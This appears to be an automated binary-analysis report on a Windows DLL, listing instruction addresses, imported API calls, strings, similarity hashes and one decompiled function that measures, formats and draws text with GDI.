0x6e8f896c
0x6e8f896d
0x6e8f896e
0x6e8f896f
0x6e8f8970
0x6e8fb760
0x6e8fb761
0x6e8fb763
0x6e8fb765
0x6e8fb767
0x6e8fb7cb
0x6e8fb7cc
0x6e8fb769
0x6e8fb76c
0x6e8fb76d
0x6e8fb775
0x6e8fb778
0x6e8fb78e
0x6e8fb791
0x6e8fb797
0x6e8fb7ad
0x6e8fb7ad
0x6e8fb7af
0x6e8fb7b4
0x6e8fb7bd
0x6e8fb7c4
0x00000000
0x6e8fb799
0x6e8fb799
0x6e8fb79a
0x6e8fb79d
0x6e8fb7a0
0x6e8fb7a5
0x6e8fb7a8
0x6e8fb7cd
0x6e8fb7d2
0x6e8fb7d3
0x6e8fb7d4
0x6e8fb7d5
0x6e8fb7d6
0x6e8fb7d7
0x6e8fb7d8
0x6e8fb7d9
0x6e8fb7da
0x6e8fb7db
0x6e8fb7dc
0x6e8fb7dd
0x6e8fb7de
0x6e8fb7df
0x6e8fb7e0
0x6e8fb7e1
0x6e8fb7e2
0x6e8fb7e4
0x6e8fb7e6
0x6e8fb7e8
0x6e8fb84b
0x6e8fb84d
0x6e8fb7ea
0x6e8fb7ea
0x6e8fb7eb
0x6e8fb7ee
0x6e8fb7f0
0x6e8fb7f2
0x6e8fb7f4
0x6e8fb7f9
0x6e8fb7fc
0x6e8fb7fc
0x6e8fb800
0x6e8fb800
0x6e8fb810
0x6e8fb811
0x6e8fb814
0x6e8fb819
0x6e8fb82d
0x6e8fb82d
0x6e8fb82f
0x6e8fb834
0x6e8fb83d
0x6e8fb844
0x00000000
0x6e8fb81b
0x6e8fb81b
0x6e8fb81e
0x6e8fb823
0x6e8fb826
0x6e8fb829
0x6e8fb84e
0x6e8fb853
0x6e8fb854
0x6e8fb855
0x6e8fb856
0x6e8fb857
0x6e8fb858
0x6e8fb859
0x6e8fb85a
0x6e8fb85b
0x6e8fb85c
0x6e8fb85d
0x6e8fb85e
0x6e8fb85f
0x6e8fb860
0x6e8fb861
0x6e8fb863
0x6e8fb866
0x6e8fb869
0x6e8fb86c
0x6e8fb86d
0x6e8fb86e
0x6e8fb86f
0x6e8fb871
0x6e8fb874
0x6e8fb877
0x6e8fb87a
0x6e8fb87c
0x6e8fb8b0
0x6e8fb8b5
0x6e8fb964
0x6e8fb964
0x6e8fb969
0x6e8fb96a
0x6e8fb96b
0x6e8fb96c
0x6e8fb96d
0x6e8fb96e
0x6e8fb96f
0x6e8fb970
0x6e8fb976
0x6e8fb983
0x6e8fb8bb
0x6e8fb8bd
0x6e8fb8c0
0x6e8fb8c6
0x6e8fb8d6
0x6e8fb8da
0x6e8fb8dc
0x6e8fb8e5
0x6e8fb8e8
0x6e8fb8ea
0x6e8fb8ea
0x6e8fb8de
0x6e8fb8de
0x6e8fb8de
0x6e8fb8c8
0x6e8fb8c8
0x6e8fb8c8
0x6e8fb8ed
0x6e8fb8f3
0x6e8fb8f8
0x6e8fb8fb
0x6e8fb8fe
0x6e8fb901
0x6e8fb904
0x6e8fb90c
0x6e8fb911
0x6e8fb916
0x6e8fb919
0x6e8fb91d
0x6e8fb920
0x6e8fb952
0x6e8fb952
0x6e8fb95c
0x6e8fb922
0x6e8fb922
0x6e8fb924
0x6e8fb92b
0x6e8fb931
0x6e8fb945
0x6e8fb945
0x6e8fb947
0x6e8fb94c
0x00000000
0x6e8fb933
0x6e8fb933
0x6e8fb936
0x6e8fb93e
0x6e8fb941
0x6e8fb95f
0x00000000
0x6e8fb943
0x6e8fb943
0x00000000
0x6e8fb943
0x6e8fb941
0x6e8fb931
0x6e8fb920
0x6e8fb87e
0x6e8fb87e
0x6e8fb881
0x6e8fb884
0x6e8fb886
0x6e8fb888
0x6e8fb888
0x6e8fb88b
0x6e8fb88e
0x6e8fb894
0x6e8fb89f
0x6e8fb8a1
0x6e8fb8ad
0x6e8fb8ad
0x6e8fb82b
0x6e8fb82b
0x00000000
0x6e8fb82b
0x6e8fb829
0x6e8fb819
0x6e8fb7aa
0x6e8fb7aa
0x00000000
0x6e8fb7ac
0x6e8fb7a8
0x6e8fb797
0x6e8f87f2
0x6e8f87ff
0x6e8f8805
0x6e8f8807
0x6e8f8951
0x6e8f8952
0x00000000
0x6e8f880d
0x6e8f8818
0x6e8f881f
0x6e8f8825
0x6e8f8827
0x6e8f8829
0x6e8f882c
0x6e8f882e
0x6e8f8831
0x6e8f8838
0x6e8f883f
0x6e8f8844
0x6e8f8846
0x6e8f8848
0x6e8f884e
0x6e8f884f
0x6e8f8852
0x6e8f8864
0x6e8f8867
0x6e8f8854
0x6e8f8856
0x6e8f885b
0x6e8f885e
0x6e8f885e
0x6e8f8852
0x6e8f886c
0x6e8f886f
0x6e8f886f
0x6e8f8874
0x6e8f887b
0x6e8f887f
0x6e8f8882
0x6e8f8884
0x00000000
0x6e8f888a
0x6e8f888c
0x6e8f888f
0x6e8f8895
0x6e8f889c
0x6e8f889f
0x6e8f88a1
0x6e8f892a
0x6e8f892e
0x6e8f8931
0x6e8f8933
0x6e8f8938
0x6e8f8938
0x00000000
0x6e8f88a7
0x6e8f88a7
0x6e8f88aa
0x6e8f88ad
0x6e8f88af
0x6e8f88b1
0x6e8f88b3
0x6e8f88b7
0x6e8f88b9
0x6e8f88be
0x6e8f88c1
0x6e8f88c4
0x6e8f88c4
0x6e8f88c7
0x6e8f88ca
0x6e8f88ce
0x6e8f88d0
0x6e8f88d5
0x6e8f88d8
0x6e8f88d8
0x6e8f88d0
0x6e8f88db
0x6e8f88df
0x6e8f88e1
0x6e8f88e3
0x6e8f88e6
0x6e8f88e6
0x6e8f88ec
0x6e8f88ee
0x6e8f88f1
0x6e8f88f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f88f3
0x6e8f88a1
0x6e8f8884
0x6e8f8807
0x6e8f87ec
0x00000000
0x6e8f87bf
0x00000000
0x6e8f87a0
0x6e8f878f
0x6e8f86bd
0x6e8f86bd
0x00000000
0x6e8f86bd
0x6e8f86bb
0x6e8f86ab
0x6e8f8442
0x6e8f844f
0x6e8f8455
0x6e8f8457
0x6e8f8673
0x6e8f8674
0x00000000
0x6e8f845d
0x6e8f8468
0x6e8f846f
0x6e8f8471
0x6e8f8473
0x6e8f8476
0x6e8f8591
0x6e8f8591
0x6e8f8598
0x6e8f859c
0x6e8f859f
0x6e8f85a1
0x00000000
0x6e8f85a7
0x6e8f85a9
0x6e8f85ac
0x6e8f85b2
0x6e8f85b9
0x6e8f85bc
0x6e8f85be
0x6e8f8647
0x6e8f864b
0x6e8f864e
0x6e8f8650
0x6e8f8655
0x6e8f8655
0x00000000
0x6e8f85c4
0x6e8f85c4
0x6e8f85c7
0x6e8f85ca
0x6e8f85cc
0x6e8f85ce
0x6e8f85d0
0x6e8f85d4
0x6e8f85d6
0x6e8f85db
0x6e8f85de
0x6e8f85e1
0x6e8f85e1
0x6e8f85e4
0x6e8f85e7
0x6e8f85eb
0x6e8f85ed
0x6e8f85f2
0x6e8f85f5
0x6e8f85f5
0x6e8f85ed
0x6e8f85f8
0x6e8f85fc
0x6e8f85fe
0x6e8f8600
0x6e8f8603
0x6e8f8603
0x6e8f8609
0x6e8f860b
0x6e8f860e
0x6e8f8610
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f8610
0x6e8f85be
0x6e8f847c
0x6e8f847e
0x6e8f8485
0x6e8f8488
0x6e8f848f
0x6e8f8496
0x6e8f849a
0x6e8f849d
0x6e8f84a4
0x6e8f84ab
0x6e8f84af
0x6e8f84b2
0x6e8f84b7
0x6e8f84b9
0x6e8f84c1
0x6e8f84c6
0x6e8f84cd
0x6e8f84d0
0x6e8f84d3
0x6e8f84d5
0x6e8f84d7
0x6e8f84dd
0x6e8f84e0
0x6e8f84e4
0x6e8f84e5
0x6e8f84e5
0x6e8f84ea
0x6e8f84ed
0x6e8f84f0
0x6e8f84f2
0x6e8f84f4
0x6e8f84f8
0x6e8f84fb
0x6e8f84ff
0x6e8f8500
0x6e8f8500
0x6e8f84f2
0x6e8f8505
0x6e8f8509
0x6e8f850c
0x6e8f850f
0x6e8f8543
0x6e8f8543
0x6e8f8548
0x6e8f854f
0x6e8f8556
0x6e8f855a
0x6e8f855d
0x00000000
0x6e8f855f
0x6e8f855f
0x6e8f8562
0x6e8f8569
0x6e8f856b
0x6e8f8571
0x6e8f8587
0x6e8f8587
0x6e8f8589
0x6e8f858e
0x00000000
0x6e8f8573
0x6e8f8573
0x6e8f8576
0x6e8f857e
0x6e8f8581
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f8581
0x6e8f8571
0x6e8f8511
0x6e8f8511
0x6e8f8514
0x6e8f851b
0x6e8f851d
0x6e8f8523
0x6e8f8539
0x6e8f8539
0x6e8f853b
0x6e8f8540
0x00000000
0x6e8f8525
0x6e8f8525
0x6e8f8528
0x6e8f8530
0x6e8f8533
0x6e8f866e
0x6e8f866e
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f8533
0x6e8f8523
0x6e8f850f
0x6e8f8476
0x6e8f8457
0x6e8f843c
0x00000000
0x6e8f840f
0x00000000
0x6e8f83f0
0x6e8f83e0
0x6e8f8108
0x6e8f810a
0x6e8f810d
0x6e8f8113
0x6e8f811a
0x6e8f811d
0x6e8f811f
0x6e8f8128
0x6e8f812f
0x6e8f8133
0x6e8f8136
0x6e8f8138
0x00000000
0x6e8f813e
0x6e8f8140
0x6e8f8143
0x6e8f814f
0x6e8f8156
0x6e8f815b
0x6e8f815f
0x6e8f8161
0x6e8f8163
0x6e8f8169
0x6e8f8169
0x6e8f8165
0x6e8f8165
0x6e8f8165
0x6e8f816b
0x6e8f8171
0x6e8f8173
0x6e8f8177
0x6e8f8179
0x6e8f817c
0x6e8f817e
0x6e8f8183
0x6e8f8188
0x6e8f8188
0x6e8f8189
0x6e8f818b
0x6e8f818d
0x6e8f818f
0x6e8f8191
0x6e8f8193
0x6e8f8196
0x6e8f819c
0x6e8f819c
0x6e8f81a2
0x6e8f81a5
0x6e8f81a7
0x6e8f81aa
0x6e8f81af
0x6e8f81b2
0x6e8f81b2
0x6e8f81b9
0x6e8f81bc
0x6e8f81c1
0x6e8f81c1
0x6e8f818d
0x6e8f8189
0x6e8f81c4
0x6e8f81c6
0x6e8f8323
0x6e8f8323
0x6e8f8323
0x00000000
0x6e8f81cc
0x6e8f81cc
0x6e8f81cf
0x6e8f81d1
0x00000000
0x6e8f81d7
0x6e8f81d7
0x6e8f81d9
0x6e8f81de
0x6e8f81e1
0x6e8f81e3
0x00000000
0x6e8f81e9
0x6e8f81ed
0x6e8f81f7
0x6e8f81fb
0x6e8f8201
0x6e8f8203
0x6e8f8369
0x00000000
0x6e8f8209
0x6e8f820c
0x6e8f8210
0x6e8f8214
0x6e8f8219
0x6e8f821d
0x6e8f821f
0x6e8f8221
0x6e8f8227
0x6e8f8227
0x6e8f8223
0x6e8f8223
0x6e8f8223
0x6e8f8229
0x6e8f822b
0x6e8f8230
0x6e8f8230
0x6e8f8233
0x6e8f8236
0x6e8f8236
0x6e8f8243
0x6e8f8248
0x6e8f824b
0x6e8f8253
0x6e8f8257
0x6e8f825e
0x6e8f8260
0x6e8f8263
0x6e8f8265
0x00000000
0x6e8f826b
0x6e8f826d
0x6e8f8270
0x6e8f8274
0x6e8f8277
0x6e8f8279
0x6e8f827e
0x6e8f827e
0x6e8f8281
0x6e8f828d
0x6e8f8294
0x6e8f8299
0x6e8f829d
0x6e8f829f
0x6e8f82a1
0x6e8f82a7
0x6e8f82a7
0x6e8f82a3
0x6e8f82a3
0x6e8f82a3
0x6e8f82af
0x6e8f82b1
0x6e8f82b4
0x6e8f82b8
0x6e8f82ba
0x6e8f82bf
0x6e8f82c1
0x00000000
0x6e8f82c3
0x6e8f82c3
0x6e8f82c6
0x6e8f82c8
0x00000000
0x6e8f82ce
0x6e8f82d0
0x6e8f82d5
0x6e8f82d8
0x6e8f82da
0x00000000
0x6e8f82dc
0x6e8f82e8
0x6e8f82ec
0x6e8f82f0
0x6e8f82f5
0x6e8f82f9
0x6e8f82fb
0x6e8f82fd
0x6e8f8303
0x6e8f8303
0x6e8f82ff
0x6e8f82ff
0x6e8f82ff
0x6e8f8314
0x6e8f831d
0x6e8f831f
0x6e8f831f
0x6e8f8325
0x6e8f8325
0x6e8f8329
0x6e8f832c
0x6e8f832e
0x6e8f8333
0x6e8f8333
0x00000000
0x6e8f832e
0x6e8f82c8
0x6e8f82c1
0x6e8f8265
0x6e8f8203
0x6e8f81e3
0x6e8f81d1
0x6e8f81c6
0x6e8f8121
0x6e8f8121
0x6e8f8336
0x6e8f8336
0x6e8f833d
0x6e8f8340
0x6e8f8342
0x6e8f8344
0x6e8f8347
0x6e8f8347
0x6e8f834f
0x6e8f8357
0x6e8f8358
0x6e8f8359
0x6e8f835d
0x6e8f8367
0x6e8f8367
0x6e8f811f
0x6e8f8102
0x6e8f7f50
0x6e8f7f27
0x00000000

APIs

SysAllocString.OLEAUT32(?), ref: 6E8F7F46
VariantInit.OLEAUT32(?), ref: 6E8F7F78
VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6E8F7FA0
SysFreeString.OLEAUT32(-00000001), ref: 6E8F7FE1
SysAllocString.OLEAUT32(?), ref: 6E8F8049
VariantClear.OLEAUT32(?), ref: 6E8F806B
_com_issue_error.COMSUPP ref: 6E8F8096
_com_issue_error.COMSUPP ref: 6E8F80A0
_com_issue_error.COMSUPP ref: 6E8F80A6
_com_issue_error.COMSUPP ref: 6E8F80B0
_com_issue_error.COMSUPP ref: 6E8F80BA

Strings

page, xrefs: 6E8F87CB, 6E8F87F6
value, xrefs: 6E8F8288
name, xrefs: 6E8F814A
counter, xrefs: 6E8F841B, 6E8F8446

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$StringVariant$Alloc$ChangeClearFreeInitType
String ID: counter$name$page$value
API String ID: 661817203-1733285648
Opcode ID: e964e4fec35f0593f35484b65c820a642d256f74021a3f208431b2b07fd90642
Instruction ID: 71da4ee016776584e15d671c422ab3f470cb668a595b322aa78beafb4a22f54b
Opcode Fuzzy Hash: e964e4fec35f0593f35484b65c820a642d256f74021a3f208431b2b07fd90642
Instruction Fuzzy Hash: 41510372910706DBEB50DFE5C840B8AB7F8EF54764F204E19E855A72C0E775E981CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E900DF0, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 298
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6E900DF0(intOrPtr __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				char _v528;
				char _v1040;
				short _v3088;
				char _v5136;
				struct tagRECT _v5152;
				intOrPtr _v5180;
				char _v5184;
				struct tagTEXTMETRICW _v5244;
				int _v5248;
				signed int _v5252;
				intOrPtr _v5260;
				intOrPtr* _v5268;
				struct HDC__* _v5272;
				short _v5276;
				intOrPtr* _v5280;
				intOrPtr _v5284;
				char _v5292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t99;
				signed int _t104;
				intOrPtr _t126;
				int _t129;
				void* _t132;
				void* _t135;
				intOrPtr _t136;
				intOrPtr _t146;
				intOrPtr _t147;
				intOrPtr _t150;
				intOrPtr _t156;
				intOrPtr* _t164;
				signed int _t172;
				intOrPtr* _t174;
				signed int _t175;
				WCHAR* _t177;
				struct HDC__* _t178;
				intOrPtr* _t179;
				intOrPtr _t180;
				intOrPtr _t181;
				intOrPtr _t186;
				intOrPtr* _t188;
				signed int _t192;
				void* _t193;
				intOrPtr _t197;
				intOrPtr* _t199;
				intOrPtr _t201;
				short _t202;
				void* _t203;
				signed int _t205;
				void* _t207;
				WCHAR* _t209;
				short _t211;
				void* _t212;
				short _t213;
				signed int _t216;
				void* _t217;
				void* _t219;
				void* _t220;
				void* _t223;

				_t181 = __ecx;
				E6E9278A0(0x14a8);
				_t99 =  *0x6e93d008; // 0x6cddfca0
				_v12 = _t99 ^ _t216;
				_t101 =  *((intOrPtr*)(__ecx + 0x7c));
				_t201 =  *((intOrPtr*)(__ecx + 0x78));
				_v5284 = __ecx;
				_t212 = _a4;
				_v5272 = _t212;
				if(_t201 != _t101) {
					_t175 =  *(__ecx + 0x8c);
					_t104 = _t101 - _t201 >> 4;
					if(_t104 <= _t175) {
						_t175 = _t104 - 1;
						 *(__ecx + 0x8c) = _t175;
					}
					_t174 = (_t175 << 4) + _t201;
					_v5280 = _t174;
					_t101 =  *((intOrPtr*)(_t174 + 4));
					if( *((intOrPtr*)(_t174 + 4)) !=  *((intOrPtr*)(_t174 + 8))) {
						asm("xorps xmm0, xmm0");
						asm("movups [ebp-0x143c], xmm0");
						asm("movups [ebp-0x142c], xmm0");
						E6E903660(_t181 + 0x3c, _t201,  &_v5184);
						GetTextMetricsW(_t212,  &_v5244);
						E6E908400(_t207,  &_v3088, 0, 0x800);
						E6E908400(_t207,  &_v5136, 0, 0x800);
						_t219 = _t217 + 0x18;
						_v5252 = 0;
						if(( *((intOrPtr*)(_t174 + 8)) -  *((intOrPtr*)(_t174 + 4)) >> 3) * 0xb6db6db7 != 0) {
							_t202 = 0;
							_v5276 = 0;
							do {
								_v3088 = 0;
								_t209 =  *((intOrPtr*)(_t174 + 4)) + _t202;
								_v5248 = _t209;
								_t213 = _t209[0x14];
								if(_t213 != _t209[0x16]) {
									_t179 = _t213 + 0x2c;
									_v5268 = _t179;
									do {
										_t211 = _t213;
										_t146 =  *((intOrPtr*)(_t179 - 0x1c));
										if( *((intOrPtr*)(_t179 - 0x18)) >= 8) {
											_t211 =  *_t213;
										}
										_t193 = 0;
										_t205 = 0x811c9dc5;
										_t147 = _t146 + _t146;
										_v5260 = _t147;
										if(_t147 != 0) {
											_t180 = _t147;
											do {
												_t172 =  *(_t193 + _t211) & 0x000000ff;
												_t193 = _t193 + 1;
												_t205 = (_t172 ^ _t205) * 0x1000193;
											} while (_t193 < _t180);
											_t179 = _v5268;
										}
										_t150 =  *((intOrPtr*)(E6E8FCE90( &_v5184,  &_v5292, _t213, _t205) + 4));
										_t196 =  !=  ? _t150 : _v5180;
										_v5260 =  !=  ? _t150 : _v5180;
										E6E908400(_t211,  &_v528, 0, 0x200);
										_t220 = _t219 + 0xc;
										if(_v5260 != _v5180) {
											asm("movsd xmm1, [ebx+0x24]");
											asm("xorps xmm2, xmm2");
											asm("comisd xmm1, xmm2");
											asm("movsd xmm0, [eax+0x20]");
											asm("movsd [ebp-0x148c], xmm0");
											if(__eflags > 0) {
												asm("divsd xmm0, xmm1");
												asm("movsd [ebp-0x148c], xmm0");
											}
											E6E908400(_t211,  &_v1040, 0, 0x200);
											_t156 =  *((intOrPtr*)(_t179 + 0x20));
											_t197 =  *((intOrPtr*)(_t179 + 0x1c));
											__eflags = _t156;
											_push("f");
											_t157 =  <=  ? 0 : _t156;
											_push( <=  ? 0 : _t156);
											__eflags = _t197;
											_t198 =  <=  ? 0 : _t197;
											E6E8FD260( &_v1040, 0x100, L"%s%d.%d%s", "%");
											asm("movsd xmm0, [ebp-0x148c]");
											asm("movsd [esp], xmm0");
											E6E8FD260( &_v528, 0x100,  &_v1040,  <=  ? 0 : _t197);
											_t223 = _t220 + 0x34;
										} else {
											E6E914B24( &_v528, 0x100, L"[N/A]");
											_t223 = _t220 + 0xc;
										}
										_t199 = _t179 + 4;
										if( *((intOrPtr*)(_t179 + 0x18)) >= 8) {
											_t199 =  *_t199;
										}
										_t164 = _t179 - 0x14;
										if( *_t179 >= 8) {
											_t164 =  *_t164;
										}
										_push(_t199);
										_push( &_v528);
										E6E8FD260( &_v5136, 0x400, L"%s%s%s", _t164);
										E6E914AAF( &_v3088, 0x400,  &_v5136);
										_t209 = _v5248;
										_t213 = _t213 + 0x58;
										_t179 = _t179 + 0x58;
										_t219 = _t223 + 0x24;
										_v5268 = _t179;
									} while (_t213 != _t209[0x16]);
									_t174 = _v5280;
								}
								GetClientRect( *(_v5284 + 0x18),  &_v5152);
								_t186 = _a12;
								_v5152.bottom = _v5152.bottom + _t186;
								_t177 = _t209;
								_v5152.top = _v5152.top + (_v5244.tmHeight - _v5244.tmExternalLeading) * _v5252 +  *_t174 + _t186;
								_t126 = _a8;
								_v5152.left = _v5152.left + _t126;
								_v5152.right = _v5152.right + _t126;
								if(_t209[0xa] >= 8) {
									_t177 =  *_t209;
								}
								_t215 =  !=  ? 0x2bc : 0;
								_t129 = GetDeviceCaps(_v5272, 0x5a);
								asm("cvttsd2si ecx, [ecx+0x20]");
								_t132 = CreateFontW( ~(MulDiv(_v5248, _t129, 0x48)), 0, 0, 0,  !=  ? 0x2bc : 0, _t209[0xc] & 0x000000ff, 0, 0, 0, 0, 0, 0, 0, _t177);
								_t178 = _v5272;
								_t212 = _t132;
								SetTextColor(_t178,  *(_v5248 + 0x1c));
								_t135 = SelectObject(_t178, _t212);
								_t188 =  &_v3088;
								_t207 = _t135;
								_t203 = _t188 + 2;
								asm("o16 nop [eax+eax]");
								do {
									_t136 =  *_t188;
									_t188 = _t188 + 2;
								} while (_t136 != 0);
								DrawTextW(_t178,  &_v3088, _t188 - _t203 >> 1,  &_v5152, 0);
								SelectObject(_t178, _t207);
								DeleteObject(_t212);
								_t174 = _v5280;
								_t192 = _v5252 + 1;
								_t202 = _v5276 + 0x38;
								_v5252 = _t192;
								_v5276 = _t202;
							} while (_t192 < ( *((intOrPtr*)(_t174 + 8)) -  *((intOrPtr*)(_t174 + 4)) >> 3) * 0xb6db6db7);
						}
						_t101 = E6E901240(_t174,  &_v5184);
					}
				}
				return E6E904160(_t101, _t174, _v12 ^ _t216, _t201, _t207, _t212);
			}

0x6e900df0
0x6e900df8
0x6e900dfd
0x6e900e04
0x6e900e07
0x6e900e0a
0x6e900e0d
0x6e900e15
0x6e900e18
0x6e900e21
0x6e900e27
0x6e900e2f
0x6e900e34
0x6e900e36
0x6e900e39
0x6e900e39
0x6e900e42
0x6e900e44
0x6e900e4a
0x6e900e50
0x6e900e56
0x6e900e63
0x6e900e6a
0x6e900e71
0x6e900e7e
0x6e900e92
0x6e900ea8
0x6e900eb0
0x6e900ebf
0x6e900ecb
0x6e900ed1
0x6e900ed3
0x6e900ee0
0x6e900ee2
0x6e900eec
0x6e900eee
0x6e900ef4
0x6e900efa
0x6e900f00
0x6e900f03
0x6e900f10
0x6e900f14
0x6e900f16
0x6e900f19
0x6e900f1b
0x6e900f1b
0x6e900f1d
0x6e900f1f
0x6e900f24
0x6e900f26
0x6e900f2c
0x6e900f2e
0x6e900f30
0x6e900f30
0x6e900f34
0x6e900f37
0x6e900f3d
0x6e900f41
0x6e900f41
0x6e900f68
0x6e900f6d
0x6e900f77
0x6e900f7d
0x6e900f88
0x6e900f91
0x6e900fb1
0x6e900fb6
0x6e900fb9
0x6e900fbd
0x6e900fc2
0x6e900fca
0x6e900fcc
0x6e900fd0
0x6e900fd0
0x6e900fe6
0x6e900feb
0x6e900ff1
0x6e900ff6
0x6e900ff8
0x6e900ffd
0x6e901000
0x6e901003
0x6e901005
0x6e90101f
0x6e901024
0x6e901035
0x6e901047
0x6e90104c
0x6e900f93
0x6e900fa4
0x6e900fa9
0x6e900fa9
0x6e901053
0x6e901056
0x6e901058
0x6e901058
0x6e90105d
0x6e901060
0x6e901062
0x6e901062
0x6e901064
0x6e90106b
0x6e90107e
0x6e901096
0x6e90109b
0x6e9010a1
0x6e9010a4
0x6e9010a7
0x6e9010aa
0x6e9010b0
0x6e9010b9
0x6e9010b9
0x6e9010cf
0x6e9010e8
0x6e9010eb
0x6e9010f3
0x6e9010f7
0x6e9010fd
0x6e901100
0x6e901106
0x6e901110
0x6e901112
0x6e901112
0x6e901131
0x6e901134
0x6e901143
0x6e901169
0x6e90116f
0x6e901175
0x6e901181
0x6e901189
0x6e90118f
0x6e901195
0x6e901197
0x6e90119a
0x6e9011a0
0x6e9011a0
0x6e9011a3
0x6e9011a6
0x6e9011c1
0x6e9011c9
0x6e9011d0
0x6e9011d6
0x6e9011e8
0x6e9011e9
0x6e9011ec
0x6e901201
0x6e901207
0x6e900ee0
0x6e901215
0x6e901215
0x6e900e50
0x6e90122a

APIs

GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6E901419,?,00000000,?), ref: 6E900E7E
GetClientRect.USER32 ref: 6E9010CF
GetDeviceCaps.GDI32(?,0000005A), ref: 6E901134
MulDiv.KERNEL32(?,00000000,00000048), ref: 6E901149
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 6E901169
SetTextColor.GDI32(?,?), ref: 6E901181
SelectObject.GDI32(?,00000000), ref: 6E901189
DrawTextW.USER32(?,?,?,?,00000000), ref: 6E9011C1
SelectObject.GDI32(?,00000000), ref: 6E9011C9
DeleteObject.GDI32(00000000), ref: 6E9011D0

Strings

%s%d.%d%s, xrefs: 6E901014
[N/A], xrefs: 6E900F93
%s%s%s, xrefs: 6E90106D

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectText$Select$CapsClientColorCreateDeleteDeviceDrawFontMetricsRect
String ID: %s%d.%d%s$%s%s%s$[N/A]
API String ID: 938400745-711029782
Opcode ID: 742162139fc64e6f7b818da4b1e5ae658e931a7052852fbfb504842090ed7ead
Instruction ID: 0f6f3a009a6dd3c003a5b9246c38ad5a37b7077112299d7c2a9e8ca4a1cb1d9e
Opcode Fuzzy Hash: 742162139fc64e6f7b818da4b1e5ae658e931a7052852fbfb504842090ed7ead
Instruction Fuzzy Hash: 8CC18E759002199FDB14CF64CC84BEAB7B9FF49304F5486E9E509AB251E730EA85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F8EA0, Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 405memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,6CDDFCA0,76AFD5B0,00000000), ref: 6E8F8F44
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F8F52
MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,6CDDFCA0,76AFD5B0,00000000), ref: 6E8F8F6F
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6E8F8F88
SysFreeString.OLEAUT32(00000000), ref: 6E8F8F97
SysFreeString.OLEAUT32(00000000), ref: 6E8F9234
SysFreeString.OLEAUT32(00000000), ref: 6E8F9286
_com_issue_error.COMSUPP ref: 6E8F9294
Concurrency::cancel_current_task.LIBCPMT ref: 6E8F9299
SysFreeString.OLEAUT32(76AFD5B0), ref: 6E8F92A4

Strings

Arial, xrefs: 6E8F8FAD
line, xrefs: 6E8F8F3B, 6E8F8F66

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstrConcurrency::cancel_current_task_com_issue_error
String ID: Arial$line
API String ID: 3866382671-367345269
Opcode ID: f1efa98858c510afae7c40ef6cfc94f3f7222f67d5c30d67293632ce55ba9616
Instruction ID: 9f891a31178b16a37a94435e996a77c277f0aa5bc4cf6b3e4f5ec54c73e9fab7
Opcode Fuzzy Hash: f1efa98858c510afae7c40ef6cfc94f3f7222f67d5c30d67293632ce55ba9616
Instruction Fuzzy Hash: 95E1D070900309DFDB10CFE8C984B9EBBB9AF99354F24495DE415AB380D774AA46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E921B90, Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6E921BD4

Part of subcall function 6E923317: _free.LIBCMT ref: 6E923334
Part of subcall function 6E923317: _free.LIBCMT ref: 6E923346
Part of subcall function 6E923317: _free.LIBCMT ref: 6E923358
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92336A
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92337C
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92338E
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233A0
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233B2
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233C4
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233D6
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233E8
Part of subcall function 6E923317: _free.LIBCMT ref: 6E9233FA
Part of subcall function 6E923317: _free.LIBCMT ref: 6E92340C

_free.LIBCMT ref: 6E921BC9

